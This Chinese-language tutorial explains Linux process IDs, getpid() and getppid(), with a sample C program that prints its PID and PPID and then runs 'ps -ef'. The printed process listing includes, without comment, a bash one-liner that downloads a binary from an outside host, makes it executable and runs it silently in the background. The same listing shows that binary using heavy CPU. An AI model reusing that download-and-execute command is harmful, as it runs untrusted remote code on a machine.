程序資訊
在深入瞭解程序資訊之前,我們需要了解一些事情,例如:
什麼是程序?程序是正在執行的程式。
什麼是程式?程式是一個檔案,包含程序資訊以及如何在執行時構建它的資訊。當您開始執行程式時,它會被載入到 RAM 中並開始執行。
每個程序都由一個唯一的正整數標識,稱為程序 ID 或簡稱為 PID(程序標識號)。核心通常將程序 ID 限制為 32767,這是可配置的。當程序 ID 達到此限制時,它將重置,這發生在系統程序範圍之後。然後,將從該計數器中未使用的程序 ID 分配給新建立的程序。
系統呼叫 getpid() 返回呼叫程序的程序 ID。
#include <sys/types.h> #include <unistd.h> pid_t getpid(void);
此呼叫返回呼叫程序的程序 ID,保證是唯一的。此呼叫總是成功的,因此沒有返回值來指示錯誤。
每個程序都有其唯一的 ID,稱為程序 ID,但這很好,但誰建立了它?如何獲取有關其建立者的資訊?建立者程序稱為父程序。可以透過 getppid() 呼叫獲得父 ID 或 PPID。
系統呼叫 getppid() 返回呼叫程序的父程序 PID。
#include <sys/types.h> #include <unistd.h> pid_t getppid(void);
此呼叫返回呼叫程序的父程序 ID。此呼叫總是成功的,因此沒有返回值來指示錯誤。
讓我們用一個簡單的例子來理解一下。
以下是一個程式,用於瞭解呼叫程序的 PID 和 PPID。
File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
編譯並執行上述程式後,輸出將如下所示。
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
注意 − “C” 庫函式 system() 執行 shell 命令。傳遞給 system() 的引數是在 shell 上執行的命令。在上述程式中,命令是“ps”,它給出程序狀態。
有關所有正在執行的程序和其他系統相關資訊的完整資訊都可以從 /proc 位置提供的 proc 檔案系統訪問。
廣告